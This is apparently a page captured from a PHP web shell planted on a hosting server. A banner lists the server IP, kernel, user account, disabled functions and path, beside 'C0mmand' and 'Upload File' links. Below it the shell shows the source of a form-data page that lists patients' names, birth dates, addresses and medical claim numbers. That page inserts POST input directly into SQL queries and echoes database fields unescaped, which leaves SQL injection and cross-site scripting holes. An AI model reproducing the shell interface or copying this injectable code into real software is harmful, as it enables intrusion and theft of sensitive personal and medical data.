|
Server IP : 103.191.208.227 / Your IP : 18.217.146.30 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include "db.php";
include "header.php";
include "sidebar.php";
$log_id=$_SESSION['id'];
?>
<link rel="stylesheet" href="https://cdn.datatables.net/1.13.1/css/jquery.dataTables.min.css" />
<link rel="stylesheet" href="https://cdn.datatables.net/buttons/2.3.2/css/buttons.dataTables.min.css" />
<main id="main" class="main">
<div class="pagetitle">
<!-- <h1>New Resume</h1> -->
<nav>
<ol class="breadcrumb">
<!--<li class="breadcrumb-item"><a href="index.php">Home</a></li>-->
<!--<li class="breadcrumb-item active"><b>All Submitted Forms</b></li>-->
</ol>
</nav>
</div>
<!-- End Page Title -->
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper" style="height: 38rem; margin-left: -17px;" >
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="card card-primary" style="width: fit-content;" >
<div class="card-header">
<div><p><b> Please Select Image For Final Submission. </b></p></div>
<form method="post">
<div class="row">
<div class="col-lg-5">
<select name="img_id" class="form-control">
<option value=" ">Select Image Name</option>
<?php
//echo $user_id;
$stmt=("SELECT * FROM new_resume WHERE `user`='$log_id'");
$result = $conn->query($stmt);
while($row=$result->fetch_assoc())
{ ?>
<option value="<?php echo $row['id'];?>"><?php echo $row['resume'];?></option>
<?php } ?>
</select>
</div>
<div class="col-lg-5">
<input type="submit" class="btn btn-primary" name="save" value="View">
</div>
<div class="col-lg-2">
</div>
</div>
</form>
</div>
<?php
if(isset($_POST['save']))
{
$img_id=$_POST['img_id'];
// $stmt=("SELECT * FROM form_data WHERE img_id='$img_id' AND user_id='$log_id'");
$stmt=("SELECT DISTINCT id,sl_no,pa_fname,pa_lname,pa_email,pa_address,pa_contact,pa_dob,pa_city,pa_state,pa_zipcode,pa_medical_claim_no,dr_fname,dr_lname,dr_physical_address,dr_phone,dr_city,dr_email,ag_fname,ag_lname,ag_contact,ag_physical_address,ag_state,ag_zip_code,ag_dob,ag_email FROM form_data
WHERE img_id='$img_id' AND user_id='$log_id' GROUP BY sl_no,pa_fname,pa_lname,pa_email,pa_address,pa_contact,pa_dob,pa_city,pa_state,pa_zipcode,pa_medical_claim_no,dr_fname,dr_lname,dr_physical_address,dr_phone,dr_city,dr_email,ag_fname,ag_lname,ag_contact,ag_physical_address,ag_state,ag_zip_code,ag_dob,ag_email ORDER BY id ASC");
$result = $conn->query($stmt);
$sr=1;
?>
<div class="card-body">
<table id="example" class="display nowrap" style="width:100%">
<thead>
<tr>
<!--<th>Sr.no</th>-->
<!--<th>pa fname</th>-->
<!--<th>pa lname</th>-->
<!--<th>pa email</th>-->
<!--<th>pa address</th>-->
<!--<th>pa contact</th>-->
<!--<th>pa dob</th>-->
<!--<th>pa city</th>-->
<!--<th>pa state</th>-->
<!--<th>pa zipcode</th>-->
<!--<th>pa medical claim no</th>-->
<!--<th>Dr Fname</th>-->
<!--<th>Dr Lname</th>-->
<!--<th>Dr physical address</th>-->
<!--<th>Dr contact</th>-->
<!--<th>Dr city</th>-->
<!--<th>Dr email</th>-->
<!--<th>ag Fname</th>-->
<!--<th>ag Lname</th>-->
<!--<th>ag contact</th>-->
<!--<th>ag physical address</th>-->
<!--<th>ag state</th>-->
<!--<th>ag zip code</th>-->
<!--<th>ag DOB</th>-->
<!--<th>ag email</th>-->
<!--<th> </th>-->
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
</tr>
</thead>
<tbody>
<?php while ($row= $result->fetch_assoc()) { $id=$row['id']; ?>
<tr>
<td><?php echo $sr;?></td>
<td><?= $row['sl_no']; ?> </td>
<td><?= $row['pa_fname']; ?> </td>
<td><?= $row['pa_lname']; ?> </td>
<td><?= $row['pa_address']; ?> </td>
<td><?= $row['pa_email']; ?> </td>
<td><?= $row['pa_contact']; ?> </td>
<td><?= $row['pa_dob']; ?> </td>
<td><?= $row['pa_city']; ?> </td>
<td><?= $row['pa_state']; ?> </td>
<td><?= $row['pa_zipcode']; ?> </td>
<td><?= $row['pa_medical_claim_no']; ?> </td>
<td><?= $row['dr_fname']; ?> </td>
<td><?= $row['dr_lname']; ?> </td>
<td><?= $row['dr_physical_address']; ?> </td>
<td><?= $row['dr_phone']; ?> </td>
<td><?= $row['dr_city']; ?> </td>
<td><?= $row['dr_email']; ?> </td>
<td><?= $row['ag_fname']; ?> </td>
<td><?= $row['ag_lname']; ?> </td>
<td><?= $row['ag_contact']; ?> </td>
<td><?= $row['ag_physical_address']; ?> </td>
<td><?= $row['ag_state']; ?> </td>
<td><?= $row['ag_zip_code']; ?> </td>
<td><?= $row['ag_dob']; ?> </td>
<td><?= $row['ag_email']; ?> </td>
</tr>
<?php $sr=$sr+1;
} ?>
</tbody>
</table>
</div>
<?php } ?>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</div>
<!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
</main>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/buttons/2.3.2/js/dataTables.buttons.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/buttons/2.3.2/js/buttons.html5.min.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/buttons/2.3.2/js/buttons.print.min.js"></script>
<script>
$(document).ready(function() {
$('#example').DataTable( {
dom: 'Bfrtip',
buttons: [
// 'copy', 'csv', 'excel', 'pdf', 'print'
'excel'
]
} );
} );
</script>
<?php
// include "footer.php";
?>
<!-- ======= Footer ======= -->
<footer id="footer" class="footer">
<div class="copyright">
© Copyright <strong><span>Captiosus Quick Job</span></strong>. All Rights Reserved
</div>
<div class="credits">
</div>
</footer>
<!-- End Footer -->
<a href="#" class="back-to-top d-flex align-items-center justify-content-center"><i class="bi bi-arrow-up-short"></i></a>
<!-- Template Main JS File -->
<script src="assets/js/main.js"></script>
</body>
</html>